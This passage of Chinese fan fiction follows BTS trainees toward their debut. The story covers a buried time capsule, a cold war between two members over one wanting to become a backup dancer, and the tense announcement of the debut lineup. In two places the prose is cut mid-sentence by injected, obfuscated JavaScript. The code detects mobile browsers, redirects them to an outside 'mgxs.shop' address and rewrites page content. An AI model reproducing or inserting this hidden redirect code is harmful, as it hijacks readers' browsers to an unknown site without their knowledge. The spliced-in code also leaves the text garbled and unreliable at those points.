安岁秋眼睛倏地亮了几分,放下铲子直接带着手套小心地拨开周围的松土。一点冷亮的银色,渐渐从泥土里露了出来。 “那时候你还没来。” 他抬眼看向朴智旻,睫毛被阳光染得浅棕,眼神温柔又认真,“所以我想……把你的卡片,也放进去。” 朴智旻喉间微微发紧。 他慢慢走过去,在安岁秋身边蹲下,肩背几乎挨在一起。近看才发现,少年手套上沾着点点泥印,侧脸在光影里格外柔和,微卷的长睫投下细密的小阴影,连下颌线都软得干净。 他下意识伸手,想帮安岁秋拂开落在额前的碎发,指尖顿了顿,最终只是轻声道:“我去借把铲子。” 再回来时,朴智旻手里多了一把小铁锹。 两人挨在一起蹲在坑边,胳膊时不时轻轻相碰,动作默契又自然。安岁秋一边挖,一边小声嘀咕,语气带着点小小的抱怨:“都怪柾国,去年埋的时候非说要埋深一点,才不会被松鼠偷走……现在挖起来也太费劲了。” 朴智旻低低笑出声,脑袋靠在安岁秋肩膀上蹭了蹭。 那画面几乎不用想,就能看见忙内信誓旦旦的模样,和哥哥们无奈又纵容的神情。 铁盒终于被完整取了出来。 安岁秋抽了张纸巾,一点点擦去盒面的泥土,动作轻得像对待什么珍贵东西,随后才小心掀开盒盖。 七张彩色卡纸静静躺在里面,边缘微微毛躁,字迹却依旧清晰。朴智旻静静看着,忽然清晰地意识到,自己正在伸手触碰一段,他不曾参与却无比美好的过往。 “现在。” 安岁秋把铁盒轻轻往他面前推了推,指背不经意擦过朴智旻的手背,带着一点微凉的温度。 “轮到你了。” 朴智旻从口袋里取出那张樱花粉的卡片,指尖微顿,轻轻放进铁盒。七张旧卡,一张新卡,挨挨挤挤地靠在一起,像终于补齐了一块空缺。 安岁秋又从背带裤口袋里摸出一个透明相袋,里面装着那张游乐园的合照——八个人戴着滑稽又可爱的动物发箍,在夕阳下笑得毫无顾忌。他将照片轻轻盖在卡片上方,动作温柔又郑重。 “这样。” 他缓缓合上盒盖,声音轻而清晰,“就是八个人的约定了。” 铁盒被重新埋进更深、更扎实的土里,两人一起填土、轻轻压实,再铺上落叶与松果做掩饰。做完这一切,他们并肩坐在杉树下的长椅上,肩膀挨着肩膀,看着远处湖面在阳光下缓缓泛着光。 “谢谢你,岁秋。” 安岁秋轻轻摇了摇头,摘下沾土的手套,指尖无意识地摩挲着腕上的四叶草手链,声音软而认真:“哥,家人之间,不用说谢谢。” “好,不谢。” 朴智旻侧头看他,阳光落在安岁秋柔和的侧脸与暖琥珀色的眼眸里,温柔得不像话。他悄悄往旁边挪了挪,手臂轻轻贴住少年的手臂,不再说话。 风穿过整片杉林,针叶沙沙轻响,像一阵细碎又温柔的掌声。 回到首尔之后,练习室里的气氛,悄然变了。 如果说之前只是按部就班的准备,那如今,便是不留退路的冲刺。孙成德带来的编舞一套比一套繁复,声乐课的标准也一路水涨船高。每天离开练习室时,八个人几乎都是拖着脚步走,汗水浸透的训练服,拧一把都能滴下水来。 可没人有一句怨言。 朴智旻会在休息间隙,伸手帮金泰亨拉伸僵硬的后背;郑号锡会拉着金南俊,对着一个动作反复打磨细节;金硕珍常常在深夜,对着同一段旋律一遍遍唱;闵玧其待在创作室的时间越来越长,眼底的青黑,也一天比一天明显。 安岁秋除了团队训练,每晚还会在创作室多留两个小时。他在打磨一首新歌,旋律里裹着一层说不清的沉郁,像提前触到了即将到来的离别。 这份紧绷又沉默的氛围,在方时赫突然召见金南俊与安岁秋的那天,抵达了顶点。 社长办公室里,弥漫着劣质咖啡淡淡的苦涩。 金南俊和安岁秋并肩坐在沙发上,面前两杯清水一动未动。方时赫坐在办公桌后,小眼睛透过镜片静静打量着两人,指尖在桌面上轻缓敲击,节奏沉稳,却压得人有些喘不过气。 “南俊啊。”方时赫先开口,语气听不出情绪,“如果现在给你一个solo出道的机会,你会接受吗?” 金南俊几乎没有半分迟疑:“不会。” “为什么?你的创作、rap实力,就连舞蹈都进步了很多。单独发展,路或许会更顺。” “我不是一个人走到今天的。” 金南俊垂了垂眼,语气却异常坚定,“音乐是我自己选的,可和谁一起做音乐……我选他们。” 方时赫沉默片刻,缓缓转向安岁秋。 “岁秋呢?”他的问题更加直接,“还想回去演戏吗?FNC那边最近在筹备新乐队,制作人跟我提了好几次,说如果你愿意回去……” “我不走。” 安岁秋轻轻打断,声音不高,却一字一顿,斩钉截铁。 “你的歌写得很好。”方时赫继续道,“上次那首《MY LOVE》交给Ailee,反响非常好。说实话,以你的条件——创作、演唱,甚至外形,你不需要依附任何团队,也能走得很好。” 安岁秋垂下眼,指尖无意识绕着卫衣抽绳,沉默许久,才轻声开口:“PD nim,您还记得当初在街边拦住我的那天吗?” 方时赫微微一怔。 “您说,您想做的,是‘有血有肉、有想法有才华的年轻人,用音乐,表达真实的自己’。” 安岁秋抬眼望向他,目光清澈而笃定,“我找到了。他们就是。” 办公室瞬间安静下来。 窗外的首尔正一点点沉入暮色,远处的霓虹逐次亮起,在玻璃上投下细碎的光。 方时赫向后靠进椅背,长长吐出口气。那张向来表情丰富的脸上,此刻浮着复杂的情绪——欣慰,释然,还有一丝不易察觉的沉重。 “既然你们都选好了。” 他从抽屉里抽出一个文件夹,轻轻推到两人面前,“那就一起看看这个。” 封面上,只印着简单一行字:新男团出道企划案。 金南俊与安岁秋对视一眼,一同伸手翻开。 第一页,是团队名称提案。 最上方,用加粗字体赫然写着:?????(防弹少年团) 下方一行小字注解:像“防弹衣”一样,抵御10-20代青年所面对的偏见、压力与社会规范,守护自身的音乐价值与理想。 安岁秋眉头轻轻一蹙,小声嘀咕:“好难听。” 方时赫差点被咖啡呛到,“什么?” “名字。”安岁秋抬眼,表情格外认真,“PD nim,没有别的备选吗?” “……有。” “Big Kids、Young Nation,你想选哪个?” 安岁秋盯着那两个名字看了几秒,默默靠回沙发,一脸认命般的泄气。 金南俊忍不住低笑一声,又很快收敛神色,指着企划案里一行字问:“‘成员人数尚未最终确定’……是什么意思?” “就是字面意思。” 方时赫双手交叠放在桌面,神情严肃了几分,“公司目前评估,出道组控制在七到九人之间。你们八个人都在候选名单里,但最终谁能站上出道舞台……要看接下来几个月的表现。” 练习室里那些沉默的焦虑,在这一刻终于有了清晰的形状。 金南俊指尖微微收紧,纸张边缘被捏出浅浅的褶皱。 “另外。”方时赫的目光在两人之间缓缓移动,“关于团队内部的位置,我有一些想法。” “南俊,你有领导力,思虑周全,也是队内最成熟的rapper,我希望,由你来担任队长。” “岁秋,你年纪虽小,却处事沉稳,成员们也都信任你。我想让你做副队长,辅助南俊。” 两人同时一怔。 “当然,这只是我的提议。”方时赫补充道,“最终,还要看你们自己的意愿,以及……团队其他人的认可。” 窗外彻底暗了下来,办公室内的灯光,亮得格外清晰。 练习室的门被推开时,里面六个人的目光齐刷刷地投过来。 金泰亨第一个跳起来,“怎么样?PD nim说什么了?” 金南俊将手里的文件夹放在地板上,盘腿坐下,其他人立刻围拢过来,形成一个紧密的圆圈,安岁秋坐在他旁边,接过朴智旻默默递来的水瓶,喝了一口。 “公司,”金南俊深吸一口气,“要推出新男团了。” 练习室里安静了一瞬,随即爆发出低低的惊呼。 “名字暂时定为‘防弹少年团’。” 安岁秋补充,在“防弹”两个字上加了重音,嘴角带着无奈的笑。 金泰亨眨眨眼,“……什么团?” “防弹少年团。” 郑号锡重复了一遍,表情也有些微妙,“寓意倒是挺好的……” “但是,”金南俊的声音让所有人的注意力重新集中,“人数还没最终定下。企划案上写的是‘七到九人’,而我们宿舍……有八个。” 沉默降临了。 那句话背后的含义,每个人都听懂了,这不是和谐的一起,而是一场竞争,八个人里,可能有人会留下,有人会离开。 这种沉重的氛围被突然推开的门打破,孙成德站在门口,目光扫了一圈,落在田柾国身上,“柾国,跟我来一下。” 田柾国茫然地站起来,跟着老师走了出去。 剩下的七个人面面相觑,不安像滴入清水的墨,迅速扩散开来。 二十分钟后田柾国回来了,他站在门口,低着头双手紧紧攥着裤缝,抬起头时眼睛是红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394872|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 “哥,”他的声音带着颤,“我……我要走了。” 练习室里的空气仿佛凝固了。 “什么意思?”金硕珍的声音发紧。 “公司说……我的舞蹈还有进步空间。” 田柾国吸了吸鼻子,眼睛转了一圈,“安排我和孙成德老师一起去美国进修,一个月。” 死寂。 然后金泰亨第一个扑过去,用力抱住他,“呀!田柾国!你吓死我了!” 郑号锡长长地松了口气,整个人瘫在地板上,金南俊抬手揉了揉眉心,闵玧其别过脸,但肩膀明显放松下来。 安岁秋走到田柾国面前,伸手揉了揉忙内柔软的头发,“什么时候走?” “下周。” 田柾国小声说,耳朵红了,“去洛杉矶。” 晚上,安岁秋特意给远在纽约的姐姐发了消息,详细询问了洛杉矶那个舞蹈进修机构的情况,收到安宥拉“朋友说那边治安还不错,学校口碑也好”的回复后,他才稍微放下心来。 但放下手机时,心里那块空落落的感觉,却并未消失。 田柾国离开的那天,首尔落了一场冷雨。 七个人静立在练习室窗边,望着窗外灰蒙蒙的厚重云层,彼此都缄默无言,唯有细密的雨点一遍遍敲打玻璃,碎成细碎又绵长的声响,缠得人心头发闷。 自他走后,偌大的练习室,凭空空出了一大片角落,连空气都变得冷清。 明明只是少了一个人,可那个永远活力满满、休息时总绕着众人跑跳的忙内不在,那些热闹的嬉笑、轻快的脚步声,仿佛也跟着一同消失了。 金泰亨愈发安静,常常望着空荡的位置出神;朴智旻加练的时间越来越长,直到浑身脱力才肯停下;郑号锡对着镜子发呆的次数,也一天多过一天,连练舞的节奏都慢了几分。 跨洋电话,成了八个人心照不宣的日常。 田柾国总在洛杉矶的清晨打来,彼时首尔正是夜幕低垂。 他永远语气雀跃,兴致勃勃地讲着一天的课程,炫耀新学会的舞蹈动作,描绘加州明媚的阳光与漫着海风气息的海滩,语气里满是鲜活的朝气,生怕哥哥们为他牵挂。 “哥!我今天学会了新的popping技巧!” “老师特意夸我进步超快!” “这里的汉堡超级大,比首尔的大整整一圈呢!” 可安岁秋总能听出藏在欢快背后的隐忍——背景里陌生的外语交谈,偶尔话语间的短暂停顿,还有深夜来电时,那极力掩饰却终究藏不住的疲惫与孤单。 有一通电话,在凌晨三点骤然响起。 安岁秋从睡梦中惊醒,摸索着接起手机,轻手轻脚起身走到阳台才按下接听键。 屏幕里映出田柾国的脸,背景是灯火通明的舞蹈室,那边正是日头正中,他席地坐在地板上,头发被汗水浸得黏在额角,脸颊泛着运动后的薄红。 “柾国?”安岁秋靠着阳台栏杆,压低声音,语气里带着刚睡醒的轻软,“怎么这个时候打电话?” “没事……”田柾国扯出一抹笑,嘴角的弧度却有些勉强,眼底藏着化不开的倦意,“就是刚练完舞,突然特别想听听哥的声音。” 安岁秋望着屏幕里那双努力睁大、像小兔子般湿漉漉的眼睛,眉眼一下子垂了下去,他没有追问,只是温声顺着他,“我刚好也没睡,在写歌。” “是新歌吗?”田柾国的眼神瞬间亮了几分。 “嗯,写给你的。” “真的吗?”田柾国眼睛亮得像落了星光,语气满是期待,“那歌名叫什么呀?” “还没定。”安岁秋顿了顿,望着远处雨夜的朦胧夜色,声音轻缓,“歌词写的,是思念。” 电话那头陷入片刻安静,只有微弱的电流声。 田柾国看着小屏幕里的安岁秋——凌晨的夜色裹着微凉的晚风,笼在他周身,昏昧的光影勾勒出柔和的侧脸轮廓,连平日里清亮的眉眼,都在夜色里浸得温柔缱绻,看得让他心跳莫名漏了一拍。 田柾国明知此刻安岁秋早已睡去,他还是没能克制住想见他的冲动,轻轻拨了电话。就算无人接听,也没关系,能听听拨号音,对他而言也足够了。 他攥着手机的手指紧了紧,声音轻得发哑,带着藏不住的委屈:“岁秋哥,我有点……想家了。” 其实更想你了。 这句话在舌尖打了个转,终究没敢说出口,只化作眼底浓浓的眷恋,落在屏幕里那人的身上。 “那就好好学,早点学成回来。”安岁秋的声音放得愈发柔和,像在哄受了委屈的小孩,“我们所有人,都在首尔等你。” 田柾国絮絮叨叨聊着些无关紧要的小事,琐碎又平淡,安岁秋始终耐心听着,披上外套站在微凉的夜风中,时不时轻声回应。 大概是异国他乡的委屈与孤单,攒到了极致,才会让这个懂事的忙内忘了时差,不管不顾地打来这通电话。可遥远的山海相隔,他连一个实实在在的拥抱,都没法透过屏幕递给他。 最后田柾国半天没出声,就那样安安静静看着安岁秋,眼神软得发黏。 沉默片刻,安岁秋望着屏幕里少年泛红的眼眶,率先轻声开口,语气温柔得化不开,“我也想你了,柾国。” 田柾国闷闷抽了下鼻子,而后眉眼骤然舒展,笑起来简直像只刚蔫蔫垂着耳、转眼就摇着尾巴蹭过来的小奶狗,亮得晃人。 “哥不说,我也知道~” 挂断电话后,安岁秋打开笔记本,就着床头灯微弱的光,写下那段盘旋在心中许久的歌词—— 「?????? ??? 来不及说出离别 ??????????? 便被遗落在遥远而陌生的天空下 ???? ?? ??? 在陌生的人群中 ??? ?????? 在这世界巨大的愤怒面前 ?? ?? ??? ?? 我必须守护好自己」[1] 笔尖停顿,墨水在纸上洇开一小团深蓝。 窗外的首尔正在沉睡,远在洛杉矶的田柾国或许刚刚入睡。而在这间小小的宿舍里,安岁秋守着这一页歌词,等待着黎明到来。 等待着重聚的那天。 等待着八个人一起,去挖出那个埋着心愿的铁盒。 等待着站上名为“出道”的起点,然后告诉这个世界—— 我们来了。 ------------------------ 参考文献: [1] 郑俊日(曲); 郑俊日(词). 什么都不懂[CD]. 金艺林. 首尔, Mystic89, 2013-06-17 . 24. 路径修正 田柾国从美国回来那天,首尔难得放了个透亮的大晴天。 一个月的分离,让重逢变得格外滚烫。 金泰亨一路小跑着冲过去,狠狠抱住他,朴智旻在一旁笑着,一下下轻拍他的后背,郑号锡上下打量着他,眉眼弯起:“长高了?好像也结实了不少。” 行李还没来得及拎回宿舍,朴智旻就拽着田柾国往楼下便利店走,“走,哥请你吃冰糕,你最爱的那个牌子。” 冰柜一开,冷白的冷气扑面而来,五颜六色的包装在灯光下泛着甜丝丝的光泽。 田柾国蹲在冰柜前,指尖在一排巧克力脆皮冰棒上犹豫地来回摩挲。朴智旻拿了两支香草味,回头却见忙内还蹲在原地,侧脸被便利店白炽灯照得微微紧绷。 “怎么了?”他轻声问,“没找到想吃的口味吗?” 田柾国摇摇头,拿起一支巧克力味,却没有立刻起身,他盯着冰柜玻璃上模糊不清的倒影,声音轻得几乎要被机器的嗡鸣盖过去。 “智旻哥……我有个想法。” “嗯?你说。” “我在美国的时候……认识了一些舞者。” 他的声音越来越小,“他们很多人就在舞团里,给演唱会伴舞,给MV伴舞……看起来,特别自由。” 朴智旻的心猛地一沉。 “我在想……” 田柾国终于抬起头,那双像小兔子一样的圆眼睛里,盛满了无措与迷茫,“我是不是……其实更适合只做一名舞者?就专心跳舞,什么都不用想。” 便利店里的空气瞬间凝固,冰柜还在源源不断地往外冒着冷气,朴智旻的后背却莫名渗出一层薄汗。 “柾国啊,”他努力稳住声音,“你怎么会这么想?我们不是马上就要……” “我知道。” 田柾国打断他,语速不自觉地加快:“我知道我们快要出道了。可是哥,我是真的喜欢跳舞,就只是跳舞。” “出道之后要唱歌、要说唱、要上节目、要面对镜头……我怕我会忘了,一开始为什么喜欢跳舞。” 他顿了顿,语气里带着一丝近乎天真的认真,“如果我只是去做伴舞,还能站在哥哥们的舞台旁边……这样,也算在一起,对不对?” 朴智旻张了张嘴,却发不出任何声音,脑海里一片混乱,他想劝,想告诉田柾国团队离不开他,想说他这样的天赋不该只做背景板。 可对上忙内那双认真又茫然的眼睛,所有话都堵在了喉咙里,一个字也吐不出来。 就在这时,便利店的门被轻轻推开,风铃叮咚一声,清脆地撞碎了室内凝滞的安静。 安岁秋穿着一件简单的灰色连帽衫走了进来,额前碎发有些凌乱,一看便是刚从沙发或床上爬起来的模样。 方才他还和金泰亨凑在一起打游戏,打到一半对方突然闹着要喝可乐,猜拳输了的他只好认命下楼跑腿,他自己向来不这些碰碳酸饮料的,连脚步都带着几分没睡醒的散漫。 安岁秋本是径直朝着饮料柜走去,可路过冰柜的那一刻,脚步却莫名顿住。 朴智旻和田柾国依旧蹲在地上,两人之间紧绷又沉默的气氛,在便利店惨白的灯光下无所遁形。 安岁秋的目光淡淡扫过两人紧绷的侧脸,最终落在田柾国手里那支已经开始融化、软塌塌垂着的冰糕上。 “怎么了?”他微微歪着头开口,声音依旧是平日里那样温和。 田柾国的身体却猛地一僵,几乎是本能地往朴智旻身后缩了缩,像只被抓包的小动物,动作笨拙又多余。朴智旻连忙站起身,张了张嘴想打圆场,可目光一触到安岁秋落在田柾国脸上的眼神,便一时失语。 那眼神看着平静无波,田柾国却心慌得厉害。 平日里明明是暖调的浅棕色眼眸,此刻背在便利店的阴影里,竟透着几分说不清的冷淡,配上他干净冷白的侧脸,连带着整个人都显得疏离。 “岁秋哥……” 他小声开口,手指不自觉地攥紧冰糕包装袋,塑料被捏出细碎又局促的声响。 “柾国他……”朴智旻终于找回自己的声音,语气里带着难以掩饰的焦急,“他在想,是不是只专心做一名舞者,会更好。” 安岁秋脸上依旧没什么起伏,眼尾还维持着平日里微微上扬的弧度,只是长睫轻轻垂落,遮住了大半截漂亮的琥珀色瞳孔。 他就那样安静地看着田柾国,看得太久,久到田柾国几乎要被这看似平静的目光一点点刺穿,良久他才轻轻吐出两个字:“是吗?” 轻得像一片羽毛落在水面,无声无息。 田柾国却觉得心口被狠狠一捶,闷痛蔓延开来,他僵硬地点了点头,动作慢得几乎微不可察。 安岁秋没有像往常那样弯起纵容又温柔的笑意,那张总带着浅淡暖意的脸上,此刻一片平静,浅棕色的眼眸淡淡的,不带任何情绪地望着他。 片刻后,他只轻轻说,“行吧。” 说完便转身走向饮料柜,拿起两罐可乐,径直走到收银台结账。动作流畅自然,仿佛刚才那段对话从未发生过,连一个多余的眼神都没有留下。 便利店的自动门再次开合,安岁秋的身影很快消失在门外的夜色里。 田柾国仍蹲在原地,手里的冰糕融化得更厉害了,巧克力脆皮上渗满细密的水珠,一滴滴落在手背上,冰凉又黏腻。 朴智旻轻轻叹了口气,伸手把他从地上拉了起来,“先回去吧。” 那天晚上开始,安岁秋不再主动和田柾国说话,不是激烈的争吵,不是明显的回避,而是一种更让人难受的平静疏离。 早晨在宿舍,田柾国像往常一样凑过去想帮忙热牛奶,安岁秋却先一步把牛奶盒递给了金泰亨,“泰亨哥,麻烦你了。” 金泰亨愣了一下,看看安岁秋,又看看田柾国,接过牛奶盒时表情有些无措。 练习室里,安岁秋依然专业,该配合的舞蹈动作一个不落,该有的眼神交流也做到位,可一旦音乐停止,他就自然地转向其他人,或是独自走到角落喝水。田柾国好几次拿着水瓶想递过去,手伸到一半,安岁秋已经拿起自己的水瓶拧开了。 第一天,田柾国以为安岁秋只是需要时间消化,第二天,他开始感到不安,第三天,这种不安变成了某种钝痛——像有什么重要的东西正在从指缝间悄悄溜走,而他拼命想抓住,却连那东西是什么都说不清楚。 他试着示好,买安岁秋喜欢的咖啡牛奶放在他床头,主动帮他整理散落的谱纸,甚至在一次舞蹈练习时故意放慢动作等安岁秋跟上。 可所有这些,都像石子投入深潭,连涟漪都没有泛起。 安岁秋会接过牛奶,低声说“谢谢”;会收好谱纸,整齐地放进文件夹;会在舞蹈时配合他的节奏,然后在音乐停止时转身走向金南俊,讨论某个rap段落的节奏问题。 礼貌,周全,无可挑剔,却也冰冷得让人心慌。 田柾国去找金硕珍,他正在厨房煮拉面,听完他的诉说,金硕珍沉默了很久,最后只是拍了拍他的肩。 “柾国啊,有些话……得你自己想清楚,岁秋不是生气,他是……失望。” “那我该怎么办?”田柾国眼睛红了。 “想清楚你到底想要什么。”金硕珍关掉火,声音温和却认真,“然后去告诉他,真心地。” 第四天傍晚,田柾国接到了孙成德老师的电话。 听筒里的声音带着几分欣然,缓缓说道:“柾国啊,你在美国结识的那位舞团负责人,今日联系我了,他们下半年筹备亚洲巡演,恰好空缺一个名额,问你是否有意向。” 田柾国握着手机,不知道是不是被好消息砸晕了,指尖骤然一紧,整个人都愣在原地,耳畔的声音渐渐变得模糊。 “机会很不错,”孙成德继续说,“巡演三个月,去的都是大城市,还能跟很多顶尖舞者合作,我跟他们说你现在在准备出道,但他们说可以等你到年底——如果你改变主意的话。” 挂断电话后,田柾国久久伫立在练习室外的走廊,晚风穿堂而过,带着微凉的湿意,吹得他心头乱糟糟的,满是彷徨与无措。 “柾国?” 熟悉的声线自身后传来,田柾国浑身猛地一僵,缓缓回身,便见安岁秋立在走廊尽头。他刚从创作室出来,手里攥着几页褶皱的谱纸,眼底凝着化不开的疲惫,冷白的肌肤衬得眼下青黑格外醒目,唇瓣也失了往日的血色,透着淡淡的苍白。 安岁秋的目光先落在他亮着屏的手机上,视线微顿,随即缓缓抬眼看向田柾国,方才还带着几分倦意的眉眼沉了下去,眼尾微微泛红,唇角下意识抿成一道平直的线,不知道什么时候出来的,也不知道听到了多少。 他没问一个字,只是沉默转身朝楼梯间走去,背影单薄得让人心尖发紧。 “哥!” 田柾国几乎是本能地追了上去。 宿舍天台的风极盛,呼啸着掠过栏杆,吹得两人衣摆猎猎作响。 安岁秋斜倚在冰凉的铁艺栏杆上,面朝远处汉江大桥绵延的灯火,夜色勾勒出他清隽的侧脸,线条柔和却透着冷意。他穿着一件宽松的棉质衬衫,晚风将衣摆吹得翻飞,隐隐勾勒出清瘦挺拔的腰线,身形单薄,仿佛稍大的风就能将他裹住,看着格外让人心疼。 田柾国走到他身侧,双手紧紧攥着栏杆,指节用力到泛白,掌心全是冷汗。 “哥。” 他开口,声音被风吹得有些散,组织有些混乱,“我……接到了舞团的巡演邀约,三个月,要去很多地方。” 安岁秋没有转头,依旧望着楼下满城灯火,只轻轻“嗯”了一声,语调平淡,听不出任何情绪。 “老师说,这是很好的机会,能跟很多厉害的舞者学习……”田柾国继续说,每个字都像从喉咙里艰难地挤出来。 “那就去。” 安岁秋的声音很平静,平静得让田柾国心脏一缩。 “可是……”田柾国猛地转头,死死盯着他的侧脸,夜色里安岁秋的皮肤白得近乎透明,鼻梁山根高挺,下颌线清瘦凌厉,“我若去了,就不能和大家一起出道了。” “那就别出道。” 安岁秋终于缓缓转头,目光直直望向他,琥珀色的瞳孔映着远处的暖光,却没有半分暖意,空落落的,干净得让人心慌。 “做你想做的事就好。” “我……” 田柾国的声音开始发颤,眼眶慢慢泛红,鼻尖也泛起酸意,“我在美国的时候,看到那些舞者……他们每天就是跳舞……他们看起来很快乐。我怕……我怕出道之后,我会失去那种快乐,我会变得不一样……” 安岁秋安静地听着,晚风掀起他微卷的黑发,露出光洁的额头,长睫垂落,在眼下投出浅浅的阴影。他微微蹙着眉,用力闭了下眼,再睁开时,眼眶已经染了淡淡的红,声音轻得像叹息。 “那和我们在一起跳舞的日子,你不快乐吗?” 田柾国瞬间怔住,张着嘴,一个字也说不出来。 “在练习室里,和号锡哥扒舞的时候,智旻哥帮你拉伸,疼得你哇哇叫的时候,我们挤在一起吃拉面的时候,和……和我在一起的时候——” 安岁秋的声音很轻,却字字砸在田柾国的心尖上,带着不易察觉的委屈,“这些时刻,你都不快乐吗?” “我快乐,我当然快乐,可是……”田柾国红着眼眶,急切地想解释,却又不知该如何开口,满心都是愧疚与慌乱。 “没有可是。” 安岁秋轻轻打断他,声音依旧平静,“柾国,我们都怕,怕出道失败,怕不被认可,怕在喧嚣中迷失自我,怕变成陌生的样子——从不是只有你一个人在害怕。” 他终于转过身正面朝向田柾国,夜色里那双琥珀色的眼睛亮得惊人,不知是连日熬夜还是太过激动,眼眶和鼻子都有些泛红,尾音有些颤:“但害怕从不是逃避的理由,比起所有未知的恐惧,我……更怕失去你。” 话音落下,田柾国的眼泪再也忍不住,一颗颗滚落,他抬手用力擦着,可眼泪却越流越凶,声音哽咽得不成样子:“哥……对不起,我错了,我不该这么想……” 安岁秋没有说“没关系”,他只是静静地看着田柾国哭,看着这个比自己小一岁的忙内像个孩子一样抽泣。 他喉结滚动了一下,眉眼垂落,终究是心软,缓缓伸出手轻轻将田柾国揽进怀里,带着小心翼翼的安抚,另一只手温柔地揉了揉他柔软的头发,动作轻得怕惊扰了他。 “想清楚了?” 田柾国埋在他肩头,用力点头,眼泪浸湿了安岁秋的衬衫,声音闷闷的却无比坚定:“想清楚了,我要和哥一起站在舞台上,不是伴舞,是和哥、和大家一起,以同一个团队的身份,一起出道,再也不分开。” 安岁秋的嘴角终于扬起一个很小的弧度,也抽动了一下鼻子, 声音软下来,“那就别再说要走的话了。” 冷战的阴霾彻底散去后,练习室里的空气都变得轻快起来,连流淌的汗水都少了几分紧绷,多了些许鲜活的暖意,每个人的眉眼间都透着久违的松弛。 金南俊最近心里藏着个新鲜念头,这个想法源自此前的光州之行,当时郑号锡用家乡方言和家人闲谈,语调里独有的韵律与烟火气,深深刻在了他心里。此刻他握着马克笔,在白板上一笔一划写下几人名字,眼神亮得格外兴奋。 “玧其哥是大邱方言,号锡哥讲光州话,岁秋的母语是春川方言,再加上我的日山话,四种地方腔调交织在一起,做成一首方言rap,一定会很特别。” 他指尖点着白板上的字迹,语气里满是期待,不同地域的语言碰撞,光是想想就充满新意。 闵玧其坐在地上,闻言挑了挑眉:“你可想好了,大邱话向来粗粝爽直,跟别的方言搭在一起,怕是会格格不入。” “要的就是这份粗粝!”金南俊丝毫不在意,反而更添兴致,“就是要这种反差感,不同风格的碰撞,才更有记忆点。” 安岁秋接下了整理春川方言的任务,趁着休息间隙,他拨通了爷爷奶奶的电话。听筒那头很快传来老人慈祥又欣喜的声音,透过扬声器缓缓散开,满是岁月沉淀的温暖。 “我们安安要学家乡话啦?乖,奶奶慢慢教你……”奶奶的语调软和,一字一句教着地道的春川方言词汇,爷爷也在一旁时不时补充,语气里满是宠溺。 朴智旻好奇地凑到手机旁,侧耳听着,没一会儿就忍不住弯眼笑了,轻轻碰了碰安岁秋的胳膊:“岁秋啊,你真的是在春川长大的吗?怎么连家乡的老话,都说得这么生疏呀。” 安岁秋耳尖微微发烫,轻声解释:“很小就来首尔生活了,慢慢就淡忘了。” 短暂的休息时间里,几人围坐成一圈,凑在一部手机前,屏幕上正播放着Ailee前辈《Heaven》的MV。 画面里的安岁秋穿着干净的白衬衫,身影穿梭在旧教室、小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394873|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巷与海边之间,光影落在他脸上,那双浅棕偏琥珀的眼眸里,盛满了温柔又怅然的情绪,干净又易碎。 “哇……”金泰亨看得目不转睛,忍不住轻声感叹,“岁秋也太好看了,这个眼神真的绝了。” 郑号锡也连连点头,满眼认可:“演技也特别好,刚才那个回头的眼神,我鸡皮疙瘩都起来了,太有感染力了。” 更让众人惊喜的,是安岁秋创作的《My Love》反响远超预期。 这首作为专辑收录曲的小情歌,没做过多宣传,却在音源榜上默默爬升,热度一路走高,评论区里满是听众的喜爱,一条条留言满是真诚。 「前奏一响起,心就跟着软了,狠狠心动了」 「旋律里全是暧昧的氛围感,太抓耳了」 「已经循环一整天了,温柔到骨子里」 金硕珍逐条翻看着评论,笑着转头看向安岁秋,语气里满是打趣:“岁秋啊,没想到你这么会写,情感这么细腻,心思很丰富嘛。” 安岁秋没接话,只是低下头,继续埋头整理手里的方言笔记,笔尖在纸上轻轻滑动。额前的黑发垂落,遮住了眉眼,可耳尖却在黑发的遮掩下,悄悄泛起一层淡淡的绯红。 宣布出道名单的那天,方时赫的办公室里气氛凝重。 八个人并排坐在沙发上,手心里都冒着汗,方时赫坐在办公桌后,表情严肃地拿着一份文件,他推了推眼镜,目光扫过每个人年轻而紧张的脸,落到最后安岁秋那张有些淡然的脸上顿了顿。 “……经过这段时间的评估和讨论,公司已经确定了出道组的最终名单。” 房间里安静得能听见空调运作的微弱声响,田柾国的手指不自觉地蜷缩起来,朴智旻屏住了呼吸,金泰亨咬住了下唇。 方时赫拿起文件,开始念名字—— “金南俊,闵玧其,郑号锡,金硕珍,朴智旻,安岁秋,田柾国。” 名字念完了,七个人,没有金泰亨。 房间里死一般的寂静,金泰亨的脸色以肉眼可见的速度变得苍白,他呆呆地看着方时赫,嘴唇动了动,却发不出任何声音,朴智旻下意识地抓住了他的手,那只手冰凉得吓人。 金硕珍第一个开口,声音发紧,“PD nim,是不是……” 方时赫看着眼前七人满脸的震惊与不可置信,看着金泰亨眼眶泛红、快要哭出来的模样,原本严肃的脸上,忽然勾起一抹带着恶趣味的笑,拖着长音开口,“泰亨……” “作为隐藏成员准备,出道前暂不公开资料,之后适时公布。” 空气凝固了短短一秒,下一秒,压抑的情绪轰然炸开。 “什么?!”金泰亨猛地跳起来,声音都因激动变了调,眼泪瞬间涌在了眼眶里。 金硕珍捂住胸口,“PD nim,您真是……” “吓死我了……” 郑号锡绷直的脊背终于松了下来。 